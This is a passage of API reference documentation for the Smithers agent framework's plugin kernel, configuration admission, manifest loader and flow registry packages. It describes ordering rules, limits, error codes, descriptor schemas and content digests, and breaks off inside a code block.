Plugin records and hook objects are snapshotted, handler records and ordered
arrays are frozen, and `handlers` is a read-only map facade with no `set`,
`delete`, or `clear`. Reflection is descriptor-only: accessors never execute,
exotic prototypes are refused, and a hostile proxy observes a bounded number of
traps whose results are copied rather than retained.

Order of the checks: options, flatten, validate every record, filter by `apply`,
check hook names against the catalog for selected plugins, reject duplicate
names, order, then decode the cache environment. Structure is validated before
filtering, so exclusion cannot hide a malformed plugin; catalog names are
checked after, so a shared preset carrying harness-only hooks still resolves
under an engine kernel.

Ordering follows Vite exactly. `enforce` sorts the plugin list once into pre,
normal, and post, stably within each group. The per-hook `order` then
re-partitions that list for one hook, so `{ order: "pre", handler }` runs ahead
of every normal-order handler even when its plugin is `enforce: "post"`. Ties
keep resolved plugin order.

`layer` merges every selected plugin's layer left to right, so an earlier
plugin's services are visible to a later plugin's layer, and the later plugin
wins when two provide the same tag. A layer that fails during acquisition
becomes `layer_failed` with the plugin's name. `layer` also seals
`Action.CurrentCacheEnvironment`: plugin layers read the declared environment,
or `undefined` when none was declared, and a plugin layer that provides its own
environment is overridden.

### Limits

| Constant                     | Value | Refusal                       |
| ---------------------------- | ----- | ----------------------------- |
| `maximumPlugins`             | 256   | `resource_limit`              |
| `maximumHandlers`            | 1,024 | `resource_limit`              |
| `maximumPluginInputNodes`    | 4,096 | `resource_limit`              |
| `maximumPluginDepth`         | 64    | `resource_limit`              |
| `maximumParallelConcurrency` | 256   | `resource_limit`              |
| `maximumPluginNameLength`    | 256   | `invalid_plugin`              |
| `defaultParallelConcurrency` | 16    | none, it is the default value |

A `resource_limit` carries the path of the offending entry or preset array, and
the handler bound counts the handlers the kernel dispatches. Plugin, version,
and hook names are a separate check, not a budget: they are control-free,
well-formed strings within `maximumPluginNameLength` that are neither empty nor
entirely whitespace, and a name that is not fails with `invalid_plugin` at its
own path even when every budget is free.

## Config

```ts
const ConfigValue: Schema.Json
type ConfigValue = typeof ConfigValue.Type

const FlowsConfig: Schema.Codec<Readonly<Record<string, ConfigValue>>, unknown>
type FlowsConfig = typeof FlowsConfig.Type

const ResolvedConfig: typeof FlowsConfig
type ResolvedConfig = typeof ResolvedConfig.Type

const defaults: ResolvedConfig

const merge: (base: FlowsConfig, patch: unknown) => FlowsConfig
const deepFreeze: <A extends ConfigValue>(value: A) => A
const snapshot: (config: unknown) => Effect.Effect<FlowsConfig, PluginError>
const resolve: (config: unknown) => Effect.Effect<ResolvedConfig, PluginError>
```

| Export       | Behavior                                                                                                                                                                                                                                                                  |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `defaults`   | The frozen empty configuration. Engine policy is deliberately not defaulted here.                                                                                                                                                                                         |
| `merge`      | Copies and deep-merges a patch over a base. Records merge key by key; every other JSON value replaces wholesale. Raw operands are admitted; unchanged snapshot subtrees are reused. Cached totals enforce result bounds. Throws `PluginError` with code `config_invalid`. |
| `deepFreeze` | Copies and recursively freezes one JSON value without retaining caller-owned objects. Throws `PluginError`.                                                                                                                                                               |
| `snapshot`   | Admits a raw pre-resolution configuration as an immutable snapshot.                                                                                                                                                                                                       |
| `resolve`    | Decodes the post-waterfall configuration into its final immutable form.                                                                                                                                                                                                   |

`FlowsConfig` and `ResolvedConfig` decode through the same admission contract as
`snapshot` and `resolve`. Decoding raw input detaches and recursively freezes it;
invalid input produces a schema error. `Schema.is` recognizes admitted snapshots,
not mutable JSON shapes. Encoding accepts admitted snapshots and returns their
JSON value. The TypeScript types remain read-only namespace maps.

Known snapshots can be reused by `snapshot`, `resolve`, and `merge`. Freezing an
object yourself does not establish admission. A merge copies each changed record
and retains unchanged frozen subtrees. It fully admits and detaches patch data,
including references to previous snapshots, so patches cannot introduce shared
references. Cached byte, member, node, and depth totals enforce result bounds.
Admission work scales with the initial tree plus patch data; copying changed
records also scales with their immediate key counts.

Configuration is a plugin-owned JSON namespace map. The root keys `engine`,
`retry`, `store`, and `plugins` are refused, because the kernel does not apply
those policies.

Refused with `config_invalid`, at the offending path, without executing user
accessors: cycles, repeated object references, sparse arrays, accessors, symbol
keys, exotic prototypes, non-finite numbers, unpaired surrogates, `undefined`
members, and the prototype-control keys `__proto__`, `constructor`, and
`prototype`. `undefined` is refused rather than dropped, so
`{ endpoint: undefined }` fails at `$.endpoint` instead of resolving to `{}`.
Omit the key, or write `null`.

### Limits

| Constant               | Value                   |
| ---------------------- | ----------------------- |
| `maximumConfigBytes`   | 1 MiB of encoded JSON   |
| `maximumConfigDepth`   | 64 container edges      |
| `maximumConfigMembers` | 4,096 aggregate members |
| `maximumConfigNodes`   | 8,192 aggregate values  |

Strings are limited to 64 KiB of encoded JSON and keys to 1 KiB.

## Cache identity

`Options.cacheEnvironment` is optional. Omitting it keeps sealed activity keys
local to the run and leaves plugin `version` optional. Supplying it requires the
complete `Action.CacheEnvironment` schema and a bounded, non-empty `version` on
every selected plugin.

Resolution copies and freezes every layer entry, capability record, and
capability array, then prepends each selected `name@version` in resolved order.
Both halves percent-escape `%` and then `@`, so the identity is injective:
`a@b` at version `c` and `a` at version `b@c` produce different layer entries
instead of one shared sealed identity. A scoped name reads as
`%40scope/name@1.0.0`. A versionless composition fails with
`cache_environment_invalid` instead of declaring an ambiguous cross-run
identity. Invalid or mutable caller data never reaches
`Action.CurrentCacheEnvironment`, and no plugin layer can declare or replace
it.

## PluginError

```ts
const PluginErrorCode: Schema.Literals<[
  "duplicate_name",
  "unknown_hook",
  "hook_kind_mismatch",
  "invalid_plugin",
  "apply_failed",
  "config_invalid",
  "cache_environment_invalid",
  "invalid_hook_result",
  "resource_limit",
  "hook_failed",
  "layer_failed"
]>
type PluginErrorCode = typeof PluginErrorCode.Type

class PluginError extends Schema.TaggedError<PluginError>()("flows/plugin/PluginError", {
  code: PluginErrorCode,
  message: Schema.String,
  plugin: Schema.optional(Schema.String),
  hook: Schema.optional(Schema.String),
  path: Schema.optional(Schema.String),
  cause: Schema.optional(Schema.Unknown)
}) {}
```

Every startup and dispatch refusal uses this one error. `plugin` and `hook` are
attribution, `path` is a diagnostic dollar-path into the refused value, and
`cause` carries a failing handler's, layer's, or waterfall merge's original
failure. Match on `code`; the messages are prose.

`cause` is not redacted. It holds whatever the plugin failed or threw with,
which can include credentials or config values. Keep it in process for
diagnostics, and redact it before a host logs, persists, or transmits a
`PluginError`.

A dollar-path is not an RFC 6901 JSON Pointer: `$` is the input, `.config` an
identifier property, `[2]` an array index, and `["not an identifier"]` any other
key, JSON-quoted. So `$[2].hooks.config` is the third plugin's `config` entry
and `$options.parallelConcurrency` is an option.

| Code                        | Meaning                                                                        |
| --------------------------- | ------------------------------------------------------------------------------ |
| `duplicate_name`            | Two selected plugins have the same exact name.                                 |
| `unknown_hook`              | A plugin declares a hook absent from the host catalog.                         |
| `hook_kind_mismatch`        | A catalog kind disagrees with the kind the kernel or a dispatch method runs.   |
| `invalid_plugin`            | A plugin, preset, option, or hook entry has an invalid runtime shape.          |
| `apply_failed`              | An `apply` predicate threw. Its raw failure is not retained.                   |
| `config_invalid`            | Config is not bounded strict JSON or uses a reserved policy key.               |
| `cache_environment_invalid` | Cache identity is malformed or incomplete.                                     |
| `invalid_hook_result`       | A first hook returned a value other than `Option`.                             |
| `resource_limit`            | Preset, plugin, handler, or concurrency work exceeds a published bound.        |
| `hook_failed`               | A hook Effect failed, defected, threw synchronously, or returned a non-Effect. |
| `layer_failed`              | A validated plugin layer failed during acquisition.                            |

`configResolved` is a lossy observer boundary. Its failures do not fail kernel
startup; `Kernel.observerErrors` returns them for redacted logging by the host.
What to change for each code is in [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/plugin/docs/troubleshooting.md).

## Manifest

```ts
import * as Manifest from "@smthrs/plugin/Manifest"
```

| Export                                                                                                                                                      | Kind                        | Summary                                                                                                          |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| `Manifest` and `type Manifest`                                                                                                                              | schema                      | The whole `plugin.json` shape.                                                                                   |
| `PluginId`, `Qualified`, `FlowTag`, `Version`, `Range`, `Minimum`, `Capability`, `Title`, `Prose`, `When`, `RelativePath`, `JsonSchema`, `QueryRef`, `Args` | schemas                     | The field grammars.                                                                                              |
| `Event`, `Render`, `View`, `Slot`, `Command`, `Keybinding`, `Card`, `Setting`, `Trigger`, `Hook`, `Tap`, `ModelRole`, `Records`                             | schemas                     | One per contribution entry.                                                                                      |
| `PLUGIN_API`                                                                                                                                                | `"1.0.0"`                   | The plugin API this loader implements; `requires.api` is a range over it.                                        |
| `RESERVED`                                                                                                                                                  | frozen array                | First segments only the core uses: `app chat repo run flow ui view system auth secret github issue plugin core`. |
| `decode(input: unknown)`                                                                                                                                    | `Effect<Manifest, Refusal>` | Admits parsed JSON, refusing `invalid` with the failing field's path.                                            |
| `parse(text: string)`                                                                                                                                       | `Effect<Manifest, Refusal>` | The byte limit, then `JSON.parse`, then `decode`.                                                                |

`decode` first copies the input as bounded, inert JSON, so an accessor never
runs and a proxy cannot change the value after admission. It then decodes with
`onExcessProperty: "error"`: an unknown field refuses, and so does a union entry
that carries both alternatives, such as a keybinding with `command` and
`event`. `$defs` keys follow JSON Schema convention (`Option`, `Note`) and may
start with a capital. A `RelativePath` (`flows`, `skills`, a `view` or `app`
render's `module`) is portable and stays inside the plugin root: `/`-separated
segments of letters, digits and `._@+-`, with no leading `/`, no empty, `.` or
`..` segment, no scheme and no backslash.

### Manifest limits

| Constant                 | Value  | Refused as |
| ------------------------ | ------ | ---------- |
| `maximumManifestBytes`   | 65,536 | `invalid`  |
| `maximumEntriesPerPoint` | 64     | `invalid`  |
| `maximumSchemaBytes`     | 16,384 | `invalid`  |
| `maximumDepth`           | 32     | `invalid`  |

## Load

```ts
import * as Load from "@smthrs/plugin/Load"

declare const load: (host: Load.HostFacts, candidates: ReadonlyArray<Load.Candidate>) => Effect.Effect<Load.Loaded>
```

`HostFacts` is what the host implements and knows: `api`, the `points` it
folds, its flow `catalog` (`FlowFacts`: `capabilities`, `minimum`,
`personOnly`, `system`, optional resolved `payload`), core query row schemas in
`queries`, and `tierCap`, which capabilities each tier may declare. A
`Candidate` is a `tier`, an undecoded `manifest`, and the `flows` it owns as
`OwnedFlow` facts. `Loaded` is `{ contributions, refused }`.

`load` never fails. It decodes each candidate, checks `requires.api`, refuses
both plugins of a shared id, orders the rest by `requires.plugins` (ties by id),
then checks and folds each plugin against the host and the plugins before it.
Refusals are ordered by plugin id. `maximumHeaderEntries` (6) bounds
`shell.header` across all plugins. The checks and their reasons are listed in
[Plugin manifests](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/plugin/docs/concepts/manifests.md#what-the-loader-checks).

## Contribution

| Export                                               | Summary                                                                                                           |
| ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
| `Reason`                                             | The closed refusal reasons.                                                                                       |
| `Refusal`                                            | `Schema.TaggedError` `"plugin/Refusal"`: `{ plugin?, reason, path?, detail }`. Carries no manifest value but ids. |
| `Tier`                                               | `"built-in" \| "repository" \| "personal"`.                                                                       |
| `Point`                                              | The twelve contribution points a host may advertise.                                                              |
| `Contributions`, `empty`                             | `{ plugins, views, slots, commands, keybindings }`, folded; `empty` has none.                                     |
| `Active`                                             | A loaded plugin: `id`, `version`, `title`, `tier`, `capabilities`, `uses`, `owns`.                                |
| `View`, `Event`, `FlowEvent`, `LocalEvent`           | A view with its events; a flow event's `payload` is resolved and carries `personOnly`.                            |
| `Slot`, `Command`                                    | The manifest entries plus `plugin` and `tier`.                                                                    |
| `Keybinding`, `CommandKeybinding`, `EventKeybinding` | A binding with parsed `keys` and `when`; an event binding names its `view` and `personOnly`.                      |

## JsonSchema

| Export                                           | Summary                                                                                                 |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------- |
| `resolve(schema, defs?, at?)`                    | `Effect<Resolved, Refusal>`: admits the closed subset and inlines `#/$defs/<Name>` refs.                |
| `validate(resolved, value)`                      | `Option<string>`: the path of the first failing value (`$.note`), or none.                              |
| `properties(resolved)`                           | Every declared property name, `oneOf` and `anyOf` members included.                                     |
| `property(resolved, name)`, `at(resolved, path)` | The schema a property name, or a path of names and `items` indexes, reaches; undefined when undeclared. |
| `Resolved`, `TypeName`, `Json`                   | The resolved schema shape.                                                                              |
| `maximumBytes`, `maximumDepth`                   | 16,384 bytes, 32 levels.                                                                                |

The admitted keywords are `type`, `properties`, `required`,
`additionalProperties` (boolean only), `items` (one schema), `enum`, `const`,
`minimum`, `maximum`, `minLength`, `maxLength`, `minItems`, `maxItems`,
`oneOf`, `anyOf`, `title`, `description`, `default` and `$ref`.
Anything else, a URL ref, an unknown ref or a ref cycle refuses
`schema_unresolved`. `pattern` is outside the subset: the host would run a
plugin's regular expression on arbitrary text, and a backtracking one such as
`^(a+)+$` hangs it. A `password` format, `writeOnly: true`, or a property named
like a secret (`secret`, `password`, `token`, `credential`) refuses
`secret_field`.

## Host

| Export                                           | Summary                                                                      |
| ------------------------------------------------ | ---------------------------------------------------------------------------- |
| `PluginHost`                                     | The interface and its `Context.Service` key `"@smthrs/plugin/PluginHost"`.   |
| `PluginRefused`, `RefusedReason`                 | `Schema.TaggedError` `"plugin/PluginRefused"`: `{ plugin, reason, detail }`. |
| `Live<R>`                                        | `{ current, subscribe }`, a framework-free live source.                      |
| `ItemRef`, `EventRef`, `Dispatched`, `Delivered` | `{ query, key }`, `{ view, name }`, `{ runId }`, `{ name, fields }`.         |
| `PluginTab<Q, A>`                                | `{ queries, actions }`, what a tab layer gives its components.               |

```ts
export interface PluginHost {
  readonly query: <R>(name: string) => Effect.Effect<Live<R>, PluginRefused>
  readonly select: (item: ItemRef) => Effect.Effect<void, PluginRefused>
  readonly propose: (event: EventRef, fields: unknown) => Effect.Effect<void, PluginRefused>
  readonly dispatch: (event: EventRef, fields: unknown) => Effect.Effect<Dispatched, PluginRefused>
  readonly open: (view: string) => Effect.Effect<void>
  readonly events: (view: string) => Stream.Stream<Delivered>
}
```

`events` is the declared local events of a view the host's keymap delivered, in
order; person-only events are never delivered. `dispatch` of a person-only
event is refused `person_only`: the host's action strip owns it.

## Bind, When and Keys

| Export                               | Summary                                                                                                                               |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
| `Bind.references(args, at?)`         | `Result<ReadonlyArray<Reference>, Refusal>`: every `$item`, `$event` and `$key` reference, refusing `invalid` outside the grammar.    |
| `Bind.bind(args, scope)`             | `Result<Record<string, unknown>, string>`: fills references from `{ item, event, key? }`; a missing value fails naming the reference. |
| `When.parse(text)`                   | `Result<When, string>`: `view == <id>`, `item.<field>`, `focus.input`, `!`, `&&`.                                                     |
| `When.evaluate(when, context)`       | Whether the condition holds for `{ view?, item?, focusInput }`.                                                                       |
| `When.view(when)`, `When.always`     | The view a condition requires; the empty condition.                                                                                   |
| `Keys.parse(text)`                   | `Result<Keys, string>`: one or two strokes, `mod+ctrl+alt+shift+<key>`.                                                               |
| `Keys.match(keys, pressed, { mac })` | `{ matched, partial, index? }` for `KeyboardEvent`-shaped presses; `index` is a `digit`'s value less one.                             |

## Related packages

The shipped hook catalog is the Smithers agent loop in
[`@smthrs/agent`](/docs/reference/api/agent/), which augments `FlowsHooks` with three
waterfalls. `Action.CacheEnvironment` comes from
[`@smthrs/flow`](/docs/reference/api/flow/). The other runtime dependency,
[`@smthrs/canonical`](/docs/reference/api/canonical/), supplies immutable catalog maps and
bounded JSON admission; [`@smthrs/registry`](/docs/reference/api/registry/) supplies the
`Pack.checkCompatible` range grammar the loader checks `requires` with.

---

# @smthrs/registry
https://smithers.sh/docs/reference/api/registry/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/registry/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/registry/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/plan`](/docs/reference/api/plan/)

`@smthrs/registry` exports nine modules from its root entry point, and each is
also importable from `@smthrs/registry/<Module>`:

```ts
import { Descriptor, Discovery, Registry } from "@smthrs/registry"
// or
import * as Registry from "@smthrs/registry/Registry"
```

`@smthrs/registry/internal/*` and `@smthrs/registry/*/index` are not public.
`@smthrs/registry/package.json` is exported.

Services and tags are Effect constructs: a `Layer` provides a service, and an
effect reads it from context. For the authoring model behind flows, actions,
and interpreters, see the [`@smthrs/flow` reference](/docs/reference/api/flow/). For the
declaration values a discovered body carries, see the
[`@smthrs/core` reference](/docs/reference/api/core/).

| Module                                    | What it owns                                                              |
| ----------------------------------------- | ------------------------------------------------------------------------- |
| [`Descriptor`](#descriptor)               | The serializable `FlowDescriptor` and every value it is built from.       |
| [`Discovery`](#discovery)                 | The service that walks one source root and returns a `SourceScan`.        |
| [`MarkdownFlow`](#markdownflow)           | Markdown and Agent Skills compatibility.                                  |
| [`ModuleFlow`](#moduleflow)               | A `flow.ts` module's descriptor and tag, read without importing it.       |
| [`Registry`](#registry)                   | The refreshable, first-found-wins catalog and its layers.                 |
| [`Disclosure`](#disclosure)               | The compact projections a model and an autocomplete list are shown.       |
| [`Executable`](#executable)               | Turning a descriptor into a runnable `@smthrs/flow` value.                |
| [`ExecutionSnapshot`](#executionsnapshot) | Durable admitted source closures and approved descriptor restoration.     |
| [`Pack`](#pack)                           | Manifests, content addresses, compatibility ranges, and merge precedence. |
| [`RegistryError`](#registryerror)         | The typed failures and their constructors.                                |
| [`Prompt`](#prompt)                       | Compiles typed MDX prompts to Markdown text components.                   |

## Example

```ts
import * as NodeServices from "@effect/platform-node/NodeServices"
import { Registry } from "@smthrs/registry"
import * as Effect from "effect/Effect"
import * as Layer from "effect/Layer"

const registry = Registry.layerProject({ root: process.cwd() }).pipe(Layer.provide(NodeServices.layer))
const flows = Registry.Registry.use((catalog) => catalog.list())

console.log(await Effect.runPromise(flows.pipe(Effect.provide(registry), Effect.orDie)))
```

## Prompt

`Prompt.compile(source)` is an Effect that compiles MDX into an ESM module
whose default export renders Markdown text, and fails on malformed MDX.
Compilation parses code without evaluating expressions. The module is
evaluated by the same verified loader as its importing flow.

The MDX compiler loads the first time a prompt compiles, never when the
registry loads. A host that only runs flows, such as an agent in a browser's
dedicated worker, never loads it. Under the `browser` export condition its
Markdown parser calls `document` while it loads, and a worker has none.

`Prompt.Component<Props>` types the props of one concrete prompt import.
Declare it in a sibling `prompt.d.mdx.ts`; there is no untyped wildcard import.
`Prompt.Content` is the content the text JSX runtime accepts.

`@smthrs/registry/Prompt/jsx-runtime` exports `jsx`, `jsxs`, `Fragment`, and
`render(content)`. Markdown elements render as Markdown text; expressions and
imported components use ordinary MDX semantics. See [MDX prompts](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/mdx-prompts.md).

## Descriptor

The serializable values discovery produces. Every one of them is a schema, so a
descriptor round-trips through JSON, a journal, or a wire without losing a
field. [Descriptors](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/concepts/descriptors.md) explains the model.

### Descriptor.FlowDescriptor

```ts
class FlowDescriptor {
  readonly name: string
  readonly description: string
  readonly body: BodyRef
  readonly input: SchemaRef
  readonly output: SchemaRef
  readonly model: Option.Option<ModelSelection>
  readonly flows: ReadonlyArray<string>
  readonly capabilities: ReadonlyArray<string>
  readonly effects: EffectDeclaration
  readonly placement: Option.Option<Placement>
  readonly sandbox?: SandboxSelection
  readonly modelInvocable: boolean
  readonly budget?: FlowBudget
  readonly path: string
  readonly frontmatter: Record<string, Schema.Json>
  readonly provenance: Provenance
}
```

The discovered metadata for one flow, excluding its unloaded body content.
`frontmatter` retains every declared key verbatim, including keys discovery
does not use. `budget` is absent for a flow that declares none; read it through
`budgetOf` rather than from the field.

`sandbox` is absent for a flow that selects none. Markdown frontmatter selects
one with `sandbox: { provider, network?, cpus?, memoryMib?, timeoutSecs? }`:
`provider` is one of `SandboxProvider` (`aws`, `cloudflare`, `command`,
`container`, `daytona`, `directory`, `just-bash`, `kubernetes`, `microsandbox`,
`vercel`), `network` is `none`, `open`, or `{ allow: [hosts] }` of host names (absent,
the provider's default applies; `microsandbox` then gives no network), `cpus` is a positive
finite number, and the other limits are positive whole numbers. `SandboxSelection`
enforces these limits when decoding descriptors too. A selection places the
flow in `sandbox`. An unknown provider or key, a malformed option, or a
`placement` other than `sandbox` refuses the flow with `invalid_sandbox`.

### Descriptor.executionDigest

```ts
const executionDigest: (descriptor: FlowDescriptor) => string | undefined
```

Hashes the descriptor's complete measured source identity and discovered
metadata, including model, parameters, body location, and authority. Hosts
include this identity in the approved plan. It returns `undefined` when the
descriptor has no `body.contentDigest`: the descriptor may be displayed, but
`AgentSession` refuses to execute a prompt without a measured, approved identity.

Locations count relative to `provenance.root`. Each path under the root is
hashed relative to it, and the root itself is not hashed, so the same bytes
discovered under two roots (two checkouts, or two hosts' state directories)
have one identity. A plan prepared on one host can therefore run its checks on
another. Changed bytes, a file moved within the root, or any changed metadata
give a new identity. A path outside the root is hashed as recorded.

The repository host also binds its own policy identity to reserved job
descriptors. In source mode it measures every TypeScript file in
`.smithers/flows/repository`, including the semantic judge and its helpers, together with
the other host sources and prompt bodies. A change to those bytes changes the
job's execution digest; without an admitted source snapshot, `Registry.loadBody`
refuses a previously approved digest with `execution_changed`. A compiled host uses its bundled artifact digest.

### Descriptor.declarationDigest

```ts
const declarationDigest: (descriptor: FlowDescriptor) => string
```

Hashes one flow's complete declaration. This is the single declaration identity
for `FlowDescriptor`: `@smthrs/chain` keys its catalog entries with it and
`@smthrs/harness` folds it into every call identity, so one declaration is one
number everywhere.

Every top-level field is material. Within `provenance` the only deliberate
exclusion is `pack`, which describes where discovery found the declaration
rather than what the call depends on. `capabilities` is sorted because a set is
what it means; every other array hashes in declaration order. Absent `Option`
and optional fields hash as `null`.

Measured `lockfiles` contribute their relative root and digest. When absent,
this field is omitted from the hash to preserve historical declaration identities.

Unlike `executionDigest` this is always defined. It identifies what was
declared, not whether the source bytes were measured, so a descriptor with no
`body.contentDigest` still has a declaration identity to key against.

### Descriptor.SourceScan

```ts
class SourceScan {
  readonly entries: ReadonlyArray<FlowDescriptor>
  readonly warnings: ReadonlyArray<DiscoveryWarning>
}
```

The result of scanning one source. `entries` is sorted by source path and
`warnings` by path, then code, then message, so two scans of one tree return
identical values.

### Descriptor.Source

```ts
interface Source {
  readonly source: string
  readonly root: string
  readonly naming: "path" | "frontmatter"
  readonly system?: boolean | undefined
  readonly optionalRoot?: boolean | undefined
  readonly confinementRoot?: string | undefined
  readonly retiredRoot?: string | undefined
}
```

One discovery source. `source` is opaque caller-supplied metadata copied onto
each descriptor's provenance. `naming` selects whether a flow's name comes from
its directory path below `root` or from the file's own `name` field.
`system: true` makes a name collision with this source a
`system_collision` failure instead of a first-found resolution.
`optionalRoot: true` returns an empty scan when `root` is absent, checked on
every scan. It does not suppress access failures or a non-directory root.
Sources are required by default; declared pack roots remain required.
`confinementRoot` bounds directories and selected entry files to that root
when the host can resolve the root's real path. `Pack.sources` sets it to the pack
root; ordinary project sources leave it unset.
`retiredRoot` names a directory the source's flows moved out of. Nothing there
loads. When it holds any entry file, the scan reports one `retired_root`
warning whose `path` is that directory. `Registry.projectSource` sets it to
`<root>/flows`.

### Descriptor.projectFlowsDirectory

```ts
const projectFlowsDirectory: ".smithers/flows"
const retiredProjectFlowsDirectory: "flows"
const retiredRootMessage: string
```

Where a project keeps its flows, relative to the project root, and where it
kept them before. Every host derives a project's flow location from these
constants. `retiredRootMessage` is the `retired_root` warning text:
`Flows in flows/ are not loaded; move them to .smithers/flows/.`

### Descriptor.Provenance and Descriptor.PackRef

```ts
class Provenance {
  readonly source: string
  readonly root: string
  readonly pack?: PackRef
}

const PackRef: Schema.Struct<{
  name: Schema.NonEmptyString
  version: Schema.NonEmptyString
  origin: Schema.Literals<["local", "installed"]>
}>
```

Where a descriptor came from. `pack` is absent for a descriptor a plain source
produced and present only when a pack manifest named the directory the entry
was found in. `origin` is what decided a name collision between packs, so an
operator reading a descriptor can tell which half of the merge it survived.

### Descriptor.BodyRef, BodyRefMarkdown, BodyRefModule

```ts
class BodyRefMarkdown {
  readonly _tag: "Markdown"
  readonly path: string
  readonly baseDirectory: string
  readonly contentDigest?: string
}

class ModuleImport {
  readonly path: string
  readonly contentDigest?: string
}

class BodyRefModule {
  readonly _tag: "Module"
  readonly path: string
  readonly contentDigest?: string
  readonly imports?: ReadonlyArray<ModuleImport>
  readonly hostImports?: ReadonlyArray<string>
}

const BodyRef: Schema.Union<[typeof BodyRefMarkdown, typeof BodyRefModule]>
```

A serializable locator and content address for a body that is loaded only on
demand. `baseDirectory` is the directory a markdown flow's own resource paths
resolve against. `contentDigest` is the SHA-256 of the complete source bytes
measured during discovery, as 64 lowercase hexadecimal characters. Every
constructor supplies it. The field is optional only so a descriptor journaled
by an older version, before the digest existed, still decodes. `Registry.loadBody`
verifies source bytes before returning a prompt or module locator, and
`Executable.fromDescriptor` verifies source before loading it. A missing digest
or mismatch is `body_unavailable`; refresh the registry before loading it.

`contentDigest` measures the ENTRY FILE. `imports` measures what that entry
loads from beside itself: every module reached through a relative specifier
(`import`, `export … from`, `import()`, `require()` or `import.meta.require()`),
transitively, as a path relative to the entry's directory plus the digest of
its bytes. The loader imports the verified entry bytes as a sibling of the
original so those specifiers resolve to the live files, which makes them code
the flow runs, so they ride `Descriptor.executionDigest` and are re-measured
before anything is imported. The field is ABSENT, not empty, when the entry
loads nothing beside itself, so such a module hashes exactly as it did before
the field existed. A bare specifier that a loader maps onto project files is
measured too: a package.json `imports` entry (`#impl`), and a tsconfig or
jsconfig `paths` alias or `baseUrl` in any directory above the entry, followed
through `extends`. The files they name are pinned like relative imports. Other
bare specifiers resolve into installed packages and are not measured. A
`ModuleImport` with no `contentDigest` is a specifier discovery could not pin:
one that resolves to no file, a module it could not read, an `import()` or
`require()` whose target is computed, any `createRequire` or `module` import,
`require` used as a value rather than called, an absolute or `file:`
specifier, a `#` specifier with no relative `imports` target, a self-import of
the flow's own package through `exports`, or a closure past its bound. Its `path` then carries that reason instead of a
location, and `Executable.fromDescriptor` refuses to run such a module.

`hostImports` names builtins, relative native `.node` addons and external package
specifiers found in that project closure. The native host projects this sorted
inventory into `envelope.hostImports` on plan and approval cards, bound to their
digest. These modules run with host authority outside guarded capabilities.
External packages are listed conservatively: this is not a native dependency
audit or JavaScript confinement.

The pin covers the loads a static scan of the source can read. It is not a
sandbox: a module that hides a load from the scan, for example behind
`eval`, `new Function`, or a member access whose name is computed at run time,
loads a file the pin does not measure. That hiding code is itself in the
digested source the approver reviews.

### Descriptor.FlowBody, FlowBodyPrompt, FlowBodyModule

```ts
class FlowBodyPrompt {
  readonly _tag: "Prompt"
  readonly text: string
  readonly baseDirectory: string
}

class FlowBodyModule {
  readonly _tag: "Module"
  readonly path: string
}

const FlowBody: Schema.Union<[typeof FlowBodyPrompt, typeof FlowBodyModule]>
```

What `Registry.loadBody` returns. A markdown body arrives as its text with the
frontmatter removed; a module body arrives as the path to import.

### Descriptor.SchemaRef and its five variants

```ts
class SchemaRefMarkdownArgs {
  readonly _tag: "MarkdownArgs"
}
class SchemaRefMarkdownOutput {
  readonly _tag: "MarkdownOutput"
}
class SchemaRefModule {
  readonly _tag: "Module"
  readonly path: string
  readonly field: "input" | "output"
  readonly document?: Schema.Json
}
class SchemaRefNone {
  readonly _tag: "None"
}
class SchemaRefInline {
  readonly _tag: "Inline"
  readonly document: Schema.Json
}

const SchemaRef: Schema.Union<[
  typeof SchemaRefMarkdownArgs,
  typeof SchemaRefMarkdownOutput,
  typeof SchemaRefModule,
  typeof SchemaRefNone,
  typeof SchemaRefInline
]>
```

A serializable locator for a flow's input or output schema.

`MarkdownArgs` and `MarkdownOutput` are the fixed markers every markdown flow
carries: its input is `{ args: string }` and its output is a string. `Module`
records the field location on a module's default `Flow.make` value, so
discovery can name a schema without evaluating the module that defines it.
For a proven literal primitive payload, its optional `document` contains
display metadata. The module locator still selects the actual admission decoder.
`None` is a flow that declared neither.

`Inline` carries an admission schema by value, as a
`Schema.toJsonSchemaDocument` output kept as plain JSON. The other four are
locators, including a `Module` with optional display metadata. A host that
binds a declaration it already holds has the schema
itself and nothing to locate, and a locator pointing at a synthetic path would
be unreadable downstream. Use `Inline` when the binding already has the schema in memory.

`Descriptor.inputDocument(ref)` returns an inline or optional module document
unchanged, or the JSON Schema document for markdown's required `{ args: string }`
input. It returns `undefined` for an absent reference, `None`, `MarkdownOutput`,
or a module without proven display metadata. Reading this metadata never
evaluates a repository module.

### Descriptor.EffectDeclaration, EffectTier, Placement

```ts
const EffectTier: Schema.Literals<["sealed", "compensable", "irreversible"]>
const Placement: Schema.Literals<["client", "local", "sandbox", "remote"]>

const EffectDeclaration: Schema.Struct<{
  reads: Schema.Array<Schema.String>
  writes: Schema.Array<Schema.String>
  mode: Schema.Literals<["hermetic", "expected"]>
  onConflict: Schema.Literals<["serialize", "lane", "fail"]>
  tier: typeof EffectTier
}>
```

The canonical effect declaration shared with [`@smthrs/core`](/docs/reference/api/core/).
`mode: "hermetic"` claims the two path sets are complete, which is what a hard
boundary enforces; `expected` records a deviation rather than refusing the
result. `tier` is the reversibility claim, and it is what decides whether a
result may be reused. See [Declared authority](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/concepts/authority.md).

`Placement` is the serializable literal a descriptor records.
`Executable` projects it into the `@smthrs/core` tagged value at load time.

### Descriptor.FlowBudget, BudgetCeiling, budgetUnbounded, budgetOf

```ts
